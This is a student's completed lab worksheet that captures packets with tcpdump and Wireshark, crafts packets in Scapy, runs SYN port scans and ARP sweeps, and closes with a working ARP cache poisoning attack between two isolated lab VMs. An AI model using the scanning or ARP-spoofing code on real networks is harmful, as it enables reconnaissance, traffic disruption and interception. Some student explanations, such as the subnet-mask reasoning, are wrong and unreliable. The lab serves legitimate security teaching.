Exploring Packets

Overview

Today we will explore how to log, inspect, and manipulate network packets. Keep detailed notes below (place your comments in between the provided horizontal lines); you will be referring to these in the future to do your work.

Part 1: Logging and examining packets

For this activity, you will be working with the two VMs used in the preceding shellshock lab. We will refer to our original VM as VM1 (IP address 10.0.0.1), and our victim VM as VM2 (IP address 10.0.0.2.) Start both VMs and keep them running for the duration of this lab. As was the case in the prior lab, you need to be able to ping the VMs in both directions.

On VM1, use “sudo ifconfig” and copy the contents below.

```
[04/06/22]seed@VM:Byeongchan$ sudo ifconfig
enp0s3    Link encap:Ethernet  HWaddr 08:00:27:ec:d0:81
          inet addr:10.0.2.15  Bcast:10.0.2.255  Mask:255.255.255.0
          inet6 addr: fe80::da79:f7be:17d:9307/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:287 errors:0 dropped:0 overruns:0 frame:0
          TX packets:348 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:137016 (137.0 KB)  TX bytes:33235 (33.2 KB)

enp0s8    Link encap:Ethernet  HWaddr 08:00:27:b7:6e:90
          inet addr:10.0.0.1  Bcast:10.0.0.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:feb7:6e90/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:48 errors:0 dropped:0 overruns:0 frame:0
          TX packets:64 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:5755 (5.7 KB)  TX bytes:6692 (6.6 KB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
```

RX packets:84 errors:0 dropped:0 overruns:0 frame:0
TX packets:84 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1
RX bytes:22103 (22.1 KB) TX bytes:22103 (22.1 KB)

On VM2, use “sudo ifconfig” and copy the contents below.

[04/06/22]seed@VM:Byeongchan$ sudo ifconfig
enp0s3   Link encap:Ethernet HWaddr 08:00:27:ec:d0:81
inet addr:10.0.0.2 Bcast:10.0.0.255 Mask:255.255.255.0
inet6 addr: fe80::a00:27ff:feec:d081/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:8 errors:0 dropped:0 overruns:0 frame:0
TX packets:64 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:712 (712.0 B) TX bytes:7043 (7.0 KB)

lo   Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:30 errors:0 dropped:0 overruns:0 frame:0
TX packets:30 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1
RX bytes:9973 (9.9 KB) TX bytes:9973 (9.9 KB)

[04/06/22]seed@VM:Byeongchan$

GATE 1

1.1 tcpdump and wireshark basics

To start capturing packets, we will need to use the program tcpdump in a separate terminal window. On VM1, open a new terminal window and run the following command (replacing enp0s8 with VM1’s interface if needed.)

```
sudo tcpdump -i enp0s8 -w packets.pcap
```

As tcpdump is running, it creates a record of all packets being sent on the specified interface. In another terminal, run “ping 10.0.0.2 -c 5.”

Once the ping has completed, return to your tcpdump terminal and stop it with ctrl-c. At this

point, the file “packets.pcap” should contain information about the packets sent while tcpdump was active. We can look at these packets using the program wireshark, which can be started with:

```
wireshark packets.pcap
```

Wireshark displays three panes of information (top, middle, bottom). Take a look at these, and describe below what kind of information is contained in each of the three panes.

---

top:
Packet time, source, destination, protocol, length

middle:
Contents of the packet. Human readable format

bottom:
Raw data of the packet.

What packet protocols do you see represented in the top pane?

ICMP
ARP

In the top pane, you should see multiple ICMP packets. Click one. Now, look at the second pane, (you may need to do some window pane resizing) and explain in the space below the protocol layers that you see being used in this packet.

ICMP Protocol
Type : 1 byte
Code : 1 byte
Checksum : 2 bytes
Identifier : 2 bytes
Sequence Number : 2 bytes
Time Stamp : 8 bytes
Data : 48 bytes

Close wireshark.

GATE 2

1.2 Generate and examine traffic

For this part of the exercise, we will observe traffic generated by visiting a web server. On VM1, start a new tcpdump capture with the following command:

```
sudo tcpdump -i enp0s8 -w web.pcap
```

Now, in the other VM1 terminal window, we'll use the command-line tool wget to download the webpage hosted on VM2:

```
wget 10.0.0.2
```

Stop the tcpdump capture. Restart wireshark and open web.pcap. Record below the number of packets that were recorded, and list the protocol types you see.

---

12 packets were captured
TCP, HTTP, ARP were seen.

Among the TCP packets, you should see one or two with protocol HTTP. Right-click the first HTTP packet in the top pane, and choose "Follow TCP Stream." Explain what you see below; also copy-paste the text in red following your explanation below.

I can see a HTTP packet content.
There are 'GET' request from the 10.0.0.1 and 'HTTP OK' response from the 10.0.0.2 with the content of a http file.

GET / HTTP/1.1
User-Agent: Wget/1.17.1 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: 10.0.0.2
Connection: Keep-Alive

Close the TCP stream window. You should see a sequence of TCP packets around your HTTP packets. Look at the first three TCP packets, and note their ports and directions. Explain below what these three packets are doing.

They are doing 3 way handshakes to establish TCP connection.

First packet from VM1 to VM2 : port 46760 => port 80, Sending 'SYN'
Second packet from VM2 to VM1: port 80 => port 46760, Sending 'SYN & ACK'
Third packet from VM1 to VM2 : port 46760 => port 80, Sending 'ACK'

Enter the string “http.response” in the filter text field (erasing what used to be there), and apply. Click the first packet. In the second pane, notice the last line in the pane: “Line-based text data: text/html.” Right-click that line, choose Copy -> Bytes (as Printable Text). Copy what you see below, then explain what the text is.

These are the http plain texts sending from the web server of VM2.

```
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
  <!--
    Modified from the Debian original for Ubuntu
    Last updated: 2014-03-19
    See: https://launchpad.net/bugs/1288690
  -->
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    <title>Apache2 Ubuntu Default Page: It works</title>
    <style type="text/css" media="screen">
  * {
    margin: 0px 0px 0px 0px;
    padding: 0px 0px 0px 0px;
  }

  body, html {
    padding: 3px 3px 3px 3px;

    background-color: #D8DBE2;

    font-family: Verdana, sans-serif;
    font-size: 11pt;
    text-align: center;
  }

  div.main_page {
    position: relative;
    display: table;

    width: 800px;

    margin-bottom: 3px;
    margin-left: auto;
```

```
  margin-right: auto;
  padding: 0px 0px 0px 0px;

  border-width: 2px;
  border-color: #212738;
  border-style: solid;

  background-color: #FFFFFF;

  text-align: center;
}

div.page_header {
  height: 99px;
  width: 100%;

  background-color: #F5F6F7;
}

div.page_header span {
  margin: 15px 0px 0px 50px;

  font-size: 180%;
  font-weight: bold;
}

div.page_header img {
  margin: 3px 0px 0px 40px;

  border: 0px 0px 0px;
}

div.table_of_contents {
  clear: left;

  min-width: 200px;

  margin: 3px 3px 3px 3px;

  background-color: #FFFFFF;

  text-align: left;
}
```

```
div.table_of_contents_item {
  clear: left;

  width: 100%;

  margin: 4px 0px 0px 0px;

  background-color: #FFFFFF;

  color: #000000;
  text-align: left;
}

div.table_of_contents_item a {
  margin: 6px 0px 0px 6px;
}

div.content_section {
  margin: 3px 3px 3px 3px;

  background-color: #FFFFFF;

  text-align: left;
}

div.content_section_text {
  padding: 4px 8px 4px 8px;

  color: #000000;
  font-size: 100%;
}

div.content_section_text pre {
  margin: 8px 0px 8px 0px;
  padding: 8px 8px 8px 8px;

  border-width: 1px;
  border-style: dotted;
  border-color: #000000;

  background-color: #F5F6F7;

  font-style: italic;
}
```

```
div.content_section_text p {
  margin-bottom: 6px;
}

div.content_section_text ul, div.content_section_text li {
  padding: 4px 8px 4px 16px;
}

div.section_header {
  padding: 3px 6px 3px 6px;

  background-color: #8E9CB2;

  color: #FFFFFF;
  font-weight: bold;
  font-size: 112%;
  text-align: center;
}

div.section_header_red {
  background-color: #CD214F;
}

div.section_header_grey {
  background-color: #9F9386;
}

.floating_element {
  position: relative;
  float: left;
}

div.table_of_contents_item a,
div.content_section_text a {
  text-decoration: none;
  font-weight: bold;
}

div.table_of_contents_item a:link,
div.table_of_contents_item a:visited,
div.table_of_contents_item a:active {
  color: #000000;
}
```

```
  div.table_of_contents_item a:hover {
    background-color: #000000;

    color: #FFFFFF;
  }

  div.content_section_text a:link,
  div.content_section_text a:visited,
   div.content_section_text a:active {
    background-color: #DCDFE6;

    color: #000000;
  }

  div.content_section_text a:hover {
    background-color: #000000;

    color: #DCDFE6;
  }

  div.validator {
  }
    </style>
  </head>
  <body>
    <div class="main_page">
      <div class="page_header floating_element">
        <img src="/icons/ubuntu-logo.png" alt="Ubuntu Logo" class="floating_element"/>
        <span class="floating_element">
          Apache2 Ubuntu Default Page
        </span>
      </div>
<!--      <div class="table_of_contents floating_element">
        <div class="section_header section_header_grey">
          TABLE OF CONTENTS
        </div>
        <div class="table_of_contents_item floating_element">
          <a href="#about">About</a>
        </div>
        <div class="table_of_contents_item floating_element">
          <a href="#changes">Changes</a>
        </div>
        <div class="table_of_contents_item floating_element">
```

```
      <a href="#scope">Scope</a>
    </div>
    <div class="table_of_contents_item floating_element">
      <a href="#files">Config files</a>
    </div>
  </div>
-->
  <div class="content_section floating_element">


    <div class="section_header section_header_red">
      <div id="about"></div>
      It works!
    </div>
    <div class="content_section_text">
      <p>
          This is the default welcome page used to test the correct
          operation of the Apache2 server after installation on Ubuntu systems.
          It is based on the equivalent page on Debian, from which the Ubuntu Apache
          packaging is derived.
          If you can read this page, it means that the Apache HTTP server installed at
          this site is working properly. You should <b>replace this file</b> (located at
          <tt>/var/www/html/index.html</tt>) before continuing to operate your HTTP server.
      </p>


      <p>
          If you are a normal user of this web site and don't know what this page is
          about, this probably means that the site is currently unavailable due to
          maintenance.
          If the problem persists, please contact the site's administrator.
      </p>

    </div>
    <div class="section_header">
      <div id="changes"></div>
          Configuration Overview
    </div>
    <div class="content_section_text">
      <p>
          Ubuntu's Apache2 default configuration is different from the
          upstream default configuration, and split into several files optimized for
          interaction with Ubuntu tools. The configuration system is
          <b>fully documented in
```

/usr/share/doc/apache2/README.Debian.gz. Refer to this for the full
documentation. Documentation for the web server itself can be
found by accessing the manual if the <tt>apache2-doc</tt>
package was installed on this server.

The configuration layout for an Apache2 web server installation on Ubuntu systems is as follows:

<pre>
/etc/apache2/
|-- apache2.conf
|	`-- ports.conf
|-- mods-enabled
|	|-- *.load
|	`-- *.conf
|-- conf-enabled
|	`-- *.conf
|-- sites-enabled
|	`-- *.conf
</pre>

<tt>apache2.conf</tt> is the main configuration
file. It puts the pieces together by including all remaining configuration
files when starting up the web server.

<tt>ports.conf</tt> is always included from the
main configuration file. It is used to determine the listening ports for
incoming connections, and this file can be customized anytime.

Configuration files in the <tt>mods-enabled/</tt>,
<tt>conf-enabled/</tt> and <tt>sites-enabled/</tt> directories contain
particular configuration snippets which manage modules, global configuration
fragments, or virtual host configurations, respectively.

They are activated by symlinking available

configuration files from their respective
*-available/ counterparts. These should be managed
by using our helpers
<tt>
<a href="http://manpages.debian.org/cgi-
bin/man.cgi?query=a2enmod">a2enmod,
<a href="http://manpages.debian.org/cgi-
bin/man.cgi?query=a2dismod">a2dismod,
</tt>
<tt>
<a href="http://manpages.debian.org/cgi-
bin/man.cgi?query=a2ensite">a2ensite,
<a href="http://manpages.debian.org/cgi-
bin/man.cgi?query=a2dissite">a2dissite,
</tt>
and
<tt>
<a href="http://manpages.debian.org/cgi-
bin/man.cgi?query=a2enconf">a2enconf,
<a href="http://manpages.debian.org/cgi-
bin/man.cgi?query=a2disconf">a2disconf
</tt>. See their respective man pages for detailed information.

The binary is called apache2. Due to the use of
environment variables, in the default configuration, apache2 needs to be
started/stopped with <tt>/etc/init.d/apache2</tt> or <tt>apache2ctl</tt>.
Calling <tt>/usr/bin/apache2</tt> directly will not work with the
default configuration.

Document Roots

<p>
By default, Ubuntu does not allow access through the web browser to
any file apart of those located in <tt>/var/www</tt>,
public_html

```
            directories (when enabled) and <tt>/usr/share</tt> (for web
            applications). If your site is using a web document root
            located elsewhere (such as in <tt>/srv</tt>) you may need to whitelist your
            document root directory in <tt>/etc/apache2/apache2.conf</tt>.
          </p>
          <p>
            The default Ubuntu document root is <tt>/var/www/html</tt>. You
            can make your own virtual hosts under /var/www. This is different
            to previous releases which provides better security out of the box.
          </p>
        </div>

        <div class="section_header">
          <div id="bugs"></div>
            Reporting Problems
        </div>
        <div class="content_section_text">
          <p>
            Please use the <tt>ubuntu-bug</tt> tool to report bugs in the
            Apache2 package with Ubuntu. However, check <a
            href="https://bugs.launchpad.net/ubuntu/+source/apache2">existing
            bug reports</a> before reporting a new bug.
          </p>
          <p>
            Please report bugs specific to modules (such as PHP and others)
            to respective packages, not to the web server itself.
          </p>
        </div>




      </div>
    </div>
    <div class="validator">
    </div>
  </body>
</html>
```

Exit wireshark.

GATE 3

Part 2: Crafting and sending packets

2.1 Scapy basics

Scapy is a Python-based tool for creating, sending and receiving packets. Start it in a console window as follows.

```
sudo scapy
# If sudo cannot find scapy, use the fully specified path name to scapy e.g.
# sudo /home/seed/.local/bin/scapy
```

Scapy is based on Python, so you can use Python syntax on the scapy command line. Use the command ls() to list supported network protocols. Similarly, lsc() lists available commands.

List the supported commands (ie, the lsc() output) below.

```
>>> lsc()
IPID_count          : Identify IP id values classes in a list of packets
arpcachepoison      : Poison target's cache with (your MAC,victim's IP) couple
arping              : Send ARP who-has requests to determine which hosts are up
bind_layers         : Bind 2 layers on some specific fields' values
bridge_and_sniff    : Forward traffic between interfaces if1 and if2, sniff and return
chexdump            :  Build a per byte hexadecimal representation
computeNIGroupAddr  : Compute the NI group Address. Can take a FQDN as input parameter
corrupt_bits        : Flip a given percentage or number of bits from a string
corrupt_bytes       : Corrupt a given percentage or number of bytes from a string
defrag              : defrag(plist) -> ([not fragmented], [defragmented],
defragment          : defrag(plist) -> plist defragmented as much as possible
dhcp_request        : --
dyndns_add          : Send a DNS add message to a nameserver for "name" to have a new
"rdata"
dyndns_del          : Send a DNS delete message to a nameserver for "name"
etherleak           : Exploit Etherleak flaw
fletcher16_checkbytes:  Calculates the Fletcher-16 checkbytes returned as 2 byte binary-string.
fletcher16_checksum :  Calculates Fletcher-16 checksum of the given buffer.
fragleak            : --
fragleak2           : --
fragment            : Fragment a big IP datagram
fuzz                : Transform a layer into a fuzzy layer by replacing some default values by random
objects
getmacbyip          : Return MAC address corresponding to a given IP address
getmacbyip6         : Returns the MAC address corresponding to an IPv6 address
hexdiff             : Show differences between 2 binary strings
```

```
hexdump           :  Build a tcpdump like hexadecimal view
hexedit           : --
hexstr            : --
import_hexcap     : --
is_promisc        : Try to guess if target is in Promisc mode. The target is provided by its ip.
linehexdump       :  Build an equivalent view of hexdump() on a single line
ls                : List  available layers, or infos on a given layer class or name
neighsol          : Sends an ICMPv6 Neighbor Solicitation message to get the MAC address of
the neighbor with specified IPv6 address addr
overlap_frag      : Build overlapping fragments to bypass NIPS
promiscping       : Send ARP who-has requests to determine which hosts are in promiscuous
mode
rdpcap            : Read a pcap or pcapng file and return a packet list
report_ports      : portscan a target and output a LaTeX table
restart           : Restarts scapy
send              : Send packets at layer 3
sendp             : Send packets at layer 2
sendpfast         : Send packets at layer 2 using tcpreplay for performance
sniff             :
split_layers      : Split 2 layers previously bound
sr                : Send and receive packets at layer 3
sr1               : Send packets at layer 3 and return only the first answer
sr1flood          : Flood and receive packets at layer 3 and return only the first answer
srbt              : send and receive using a bluetooth socket
srbt1             : send and receive 1 packet using a bluetooth socket
srflood           : Flood and receive packets at layer 3
srloop            : Send a packet at layer 3 in loop and print the answer each time
srp               : Send and receive packets at layer 2
srp1              : Send and receive packets at layer 2 and return only the first answer
srp1flood         : Flood and receive packets at layer 2 and return only the first answer
srpflood          : Flood and receive packets at layer 2
srploop           : Send a packet at layer 2 in loop and print the answer each time
tcpdump           : Run tcpdump or tshark on a list of packets
traceroute        : Instant TCP traceroute
traceroute6       : Instant TCP traceroute using IPv6
traceroute_map    : Util function to call traceroute on multiple targets, then
tshark            : Sniff packets and print them calling pkt.summary(), a bit like text wireshark
wireshark         : Run wireshark on a list of packets
wrpcap            : Write a list of packets to a pcap file
>>>
```

Scapy has a quirky syntax that takes some getting used to. You can create an IP packet and display its contents as follows.

```
p=IP()
p.show()
```

List the output below.

```
>>> p=IP()
>>> p.show()
###[ IP ]###
  version= 4
  ihl= None
  tos= 0x0
  len= None
  id= 1
  flags=
  frag= 0
  ttl= 64
  proto= hopopt
  chksum= None
  src= 127.0.0.1
  dst= 127.0.0.1
  \options\

>>>
```

As you can see, scapy uses default values for fields. You can also set them with dot-notation.

```
p.src="128.252.19.221"
```

You can build packets up by layer by using the divide operator, /, as follows.

```
e=Ether()
p=IP()
t=TCP()
pkt=e/p/t
pkt.show()
```

Copy the pkt.show() output below. (Also note that you don't have to maintain variables for each layer; you could also use pkt=Ether()/IP()/TCP().)

```
>>> e=Ether()
>>> p=IP()
>>> t=TCP()
>>> pkt=e/p/t
>>> pkt.show()
###[ Ethernet ]###
  dst= ff:ff:ff:ff:ff:ff
  src= 00:00:00:00:00:00
  type= 0x800
###[ IP ]###
```

```
    version= 4
    ihl= None
    tos= 0x0
    len= None
    id= 1
    flags=
    frag= 0
    ttl= 64
    proto= tcp
    chksum= None
    src= 127.0.0.1
    dst= 127.0.0.1
    \options\
###[ TCP ]###
       sport= ftp_data
       dport= http
       seq= 0
       ack= 0
       dataofs= None
       reserved= 0
       flags= S
       window= 8192
       chksum= None
       urgptr= 0
       options= []

>>>
```

Scapy also makes it easy to create sets of packets. For example, enter the following on the scapy command line.

```
pl=IP(dst="128.252.19.0/30")
for p in pl:
    print p.dst
```

Include and explain the output below. If you have trouble using tabs in scapy, any number of spaces will work. They logically deduce which scope block a line is in. (There is an extra blank line after the ‘print p.dst’ command)

```
>>> pl=IP(dst="128.252.19.0/30")
>>> for p in pl:
...     print p.dst
...
128.252.19.0
```

128.252.19.1
128.252.19.2
128.252.19.3
>>>

Explanation: Print out inside of the ‘pl’ variable. The ‘pl’ variable contains IP from ‘128.252.19.0‘ to ‘128.252.19.0’ because of the Subnet Mask is 30 bytes(That means only 2 bytes will be used for the ‘Host ID’.)

You can find more information about scapy and its usage here.

GATE 4

2.2 Sending and receiving packets setup

Scapy includes a number of commands to send and receive packets; you likely spotted several of them in the lsc() output you captured above.

To send and receive one or more IP packets, use the sr() command. For Ethernet frames, use srp().

Unlike the previous sections of this exercise, we will now send packets over our VM network using the data interfaces. Record the hostname, MAC address, and IP address of the other VM’s data interface in the space below.

---

hostname : VM
MAC : 08:00:27:ec:d0:81
IP :10.0.0.2

For the rest of the exercise, when you see either <VM1> or <VM2> in a command, replace it with the relevant IP address.

To test that everything is working correctly, log back into <VM1> and give the following command:

```
ping -c 5 <VM2>
```

If you have 0% packet loss, then everything is working correctly. If you lose any packets, alert the instructor or TA.

GATE 5

2.3 Scanning

Remain logged into <VM1> and start scapy with “sudo scapy”. Scan port 80 at <VM2> with the following command. Note, sr1() sends a packet, but returns just the first response.

```
sr1(IP(dst="<VM2’s IP address>")/TCP(dport=80,flags="S"))
```

Explain what you see in the response.

```
>>> sr1(IP(dst="10.0.0.2")/TCP(dport=80,flags="S"))
Begin emission:
.Finished sending 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
<IP  version=4 ihl=5 tos=0x0 len=44 id=0 flags=DF frag=0 ttl=64 proto=tcp chksum=0x26ca
src=10.0.0.2 dst=10.0.0.1 options=[] |<TCP  sport=http dport=ftp_data seq=3835599396L ack=1
dataofs=6 reserved=0 flags=SA window=29200 chksum=0x92db urgptr=0 options=[('MSS',
1460)] |<Padding  load='\x00\x00' |>>>
>>>
```

Sending a TCP/IP packet from VM1 to VM2. And received a reponse packet from VM2.
I can notice that there is a ‘ack=1’ in the response packet corresponding to a TCP ‘SYN’ packet from VM1.

You can use the following command to scan a local IP network to check for machines listening on port 80; the command sends a single TCP SYN packet. You have to replace the IP.dst network to match the one you are on. For the commands below, wait a little after issuing the first command. Between the first and second command, the <Ctrl-c> indicates that you should press both Ctrl and c on the keyboard, and not type out “<Ctrl-c> in scapy.

```
ans,unans=sr(IP(dst="10.0.0.0/30")/TCP(dport=80,flags="S") )
<Ctrl-c>
ans.summary(lambda(s,r): r.sprintf("%IP.src% %TCP.sport% is alive") )
```

Note the Ctrl-C in there. Run the command, and copy your output below.

```
>>> ans,unans=sr(IP(dst="10.0.0.0/30")/TCP(dport=80,flags="S") )
Begin emission:
WARNING: Mac address to reach destination not found. Using broadcast.
..*WARNING: Mac address to reach destination not found. Using broadcast.
Finished sending 4 packets.
..^C
Received 5 packets, got 1 answers, remaining 3 packets
>>> ans.summary(lambda(s,r): r.sprintf("%IP.src% %TCP.sport% is alive") )
10.0.0.2 http is alive
```

You can also scan for a range of ports. The following command targets a single machine, but scans ports 3790 through 3794.

```
	ans,unans=sr(IP(dst="<VM2>")/TCP(dport=(78,82),flags="S"))
	ans.summary(lambda(s,r): r.sprintf("%IP.src% %TCP.sport% %TCP.flags%
(RA:closed, SA:open)") )
```

Run the command, and copy your output below.

```
>>> ans,unans=sr(IP(dst="10.0.0.2")/TCP(dport=(3790,3794),flags="S"))
Begin emission:
****Finished sending 5 packets.
*
Received 5 packets, got 5 answers, remaining 0 packets
>>> ans,unans=sr(IP(.summary(lambda(s,r): r.sprintf("%IP.src% %TCP.sport% %TCP.flags%
(RA:closed, SA:open)") )
10.0.0.2 3790 RA (RA:closed, SA:open)
10.0.0.2 3791 RA (RA:closed, SA:open)
10.0.0.2 3792 RA (RA:closed, SA:open)
10.0.0.2 3793 RA (RA:closed, SA:open)
10.0.0.2 3794 RA (RA:closed, SA:open)
>>>
```

To find all hosts on an Ethernet, use the following. (Note again that you may need to modify the destination network to match the one your VM is on.)

```
	ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="10.0.2.0/24"),timeout=2
	)
	ans.summary(lambda (s,r): r.sprintf("%Ether.src% %ARP.psrc%") )
	#same as
	#arping("10.0.2.0/24")
```

Run the command, and copy your output below.

```
>>> ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="10.0.2.0/24"),timeout=2)
Begin emission:
***Finished sending 256 packets.

Received 3 packets, got 3 answers, remaining 253 packets
>>> ans.summary(lambda (s,r): r.sprintf("%Ether.src% %ARP.psrc%") )
52:54:00:12:35:02 10.0.2.2
52:54:00:12:35:03 10.0.2.3
52:54:00:12:35:04 10.0.2.4
```

Gate 6

2.4 ARP spoofing

It is a curious fact that ARP is a stateless protocol, so you can send ARP responses to machines that never sent requests! So, we can use scapy to send a forged ARP response to a machine to make it think that a MAC of our choosing is the one to use for a given IP address.

In our lab scenario, VM1 will be the victim and VM2 will be the attacker. VM2 will send a forged ARP response to VM1, one that will modify the Ethernet address associated with VM2 in VM1's ARP table. This will remove VM1's ability to send packets to VM2. This is an example of ARP cache poisoning.

Though you've likely gotten this information in above sections, we will aggregate it down here. Fill out the configuration lines below.

```
VICTIM IP:  10.0.0.1
VICTIM MAC: 08:00:27:b7:6e:90
MY IP:      10.0.0.2
MY MAC:     08:00:27:ec:d0:81
POISON MAC:  08:00:27:37:9f:a4
```

```
pp=Ether(dst="08:00:27:b7:6e:90", src="08:00:27:37:9f:a4")/ARP(op="who-has",
psrc="10.0.0.2", hwsrc="08:00:27:37:9f:a4", pdst="10.0.0.1",
hwdst="08:00:27:b7:6e:90")
pp.show()
sendp(pp)
```

Scapy will actually provide MY MAC by default, but it is nice to see all of the information necessary for the ARP response. Given the assumptions above, the following scapy code will create an ARP packet that when sent will overwrite the VM2 MAC-IP mapping in VM1's ARP cache.. **Do not run it just yet though.**

```
pp=Ether(dst="<VM1's MAC>", src="08:00:27:37:9f:a4")/ARP(op="who-has", psrc="<VM2's
IP>", hwsrc="08:00:27:37:9f:a4", pdst="<VM1's IP>", hwdst="<VM1's MAC>")
pp.show()
sendp(pp)
```

Make sure you understand what this code is accomplishing. Before we actually run this code, we want to observe the change in state on the victim machine. On VM1, run the command `arp -a` to see the contents of its ARP cache, and paste the results below.

Before:

[04/07/22]seed@VM:Byeongchan$ arp -a
? (10.0.0.2) at 08:00:27:ec:d0:81 [ether] on enp0s8
? (10.0.2.2) at 52:54:00:12:35:02 [ether] on enp0s3

Now, switch over to VM2 and run the scapy code we outlined above (after filling in the necessary information).

Switch back to VM1, run the command `arp -a` again, and paste the results below. Make the newly added entry bold.

After:

[04/07/22]seed@VM:Byeongchan$ arp -a
? (10.0.0.2) at 08:00:27:37:9f:a4 [ether] on enp0s8
? (10.0.2.2) at 52:54:00:12:35:02 [ether] on enp0s3
[04/07/22]seed@VM:Byeongchan$
[04/07/22]seed@VM:Byeongchan$ ping 10.0.0.2
PING 10.0.0.2 (10.0.0.2) 56(84) bytes of data.
^C
--- 10.0.0.2 ping statistics ---
4 packets transmitted, 0 received, 100% packet loss, time 3065ms

[04/07/22]seed@VM:Byeongchan$

You can now verify with ping that VM1 can no longer reach VM2.

COMPLETE